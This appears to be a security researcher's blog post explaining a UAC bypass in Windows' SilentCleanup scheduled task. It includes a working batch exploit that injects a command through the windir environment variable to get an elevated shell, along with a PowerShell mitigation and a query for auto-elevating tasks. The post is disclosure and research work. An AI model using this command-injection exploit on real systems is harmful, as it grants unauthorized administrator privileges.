Anyway I'm technically on a sabbatical from finding bugs in Microsoft products (best not ask why) so I'll keep this brief. However sometimes while I'm not looking you just sort of trip over a bug. I was poking around various scheduled tasks and noticed one which looked interesting, SilentCleanup. The reason this is interesting is it's a marked as auto-elevating (so will silently run code as UAC admin if the caller is a split-token administrator) and it can be manually started by the non-administrator user.
It turns out I'm not alone in noticing this is interesting, Matt Nelson already found a UAC bypass in this scheduled task but as far as can be determined it's already been fixed, so is there still a way of exploiting it? Let's dump some of the task's properties using Powershell to find out.
We can see the Principal property, which determines what account the task runs as and the Actions property which determines what to run. In the Principal property we can see the Group to run as is Authenticated Users which really means it will run as the logged on user starting the task. We also see the RunLevel is set to Highest which means the Task Scheduler will try and elevate the task to administrator without any prompting. Now look at the actions, it's specifying a path, but notice something interesting? It's using an environment variable as part of the path, and in UAC scenarios these can be influenced by a normal user by writing to the registry key HKEY_CURRENT_USER\Enviroment and specifying a REG_SZ value.
So stop beating around the bush, let's try and exploit it. I dropped a simple executable to c:\dummy\system32\cleanmgr.exe, set the windir environment variable to c:\dummy and started the scheduled task I immediately get administrator privileges. So let's automate the process, I'll use everyone's favourite language, BATCH as we can use the reg and schtasks commands to do all the work we need. Also as we don't want to drop a file to disk we can abuse the fact that the executable path isn't quoted by the Task Scheduler, meaning we can inject arbitrary command line arguments and just run a simple CMD shell.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM " | |
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$action = New-ScheduledTaskAction -Execute $env:windir\System32\cleanmgr.exe -Argument "/autoclean /d $env:systemdrive" | |
Set-ScheduledTask SilentCleanup -TaskPath \Microsoft\Windows\DiskCleanup -Action $action |
executable actions which will auto elevate. On my system there are 4 separate tasks, but only one (the SilentCleanup task) can be executed as a normal user, so the rest are not exploitable. Good thing I guess.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$tasks = Get-ScheduledTask | | |
Where-Object { $_.Principal.RunLevel -ne "Limited" -and | |
$_.Principal.LogonType -ne "ServiceAccount" -and | |
$_.State -ne "Disabled" -and | |
$_.Actions[0].CimClass.CimClassName -eq "MSFT_TaskExecAction" } |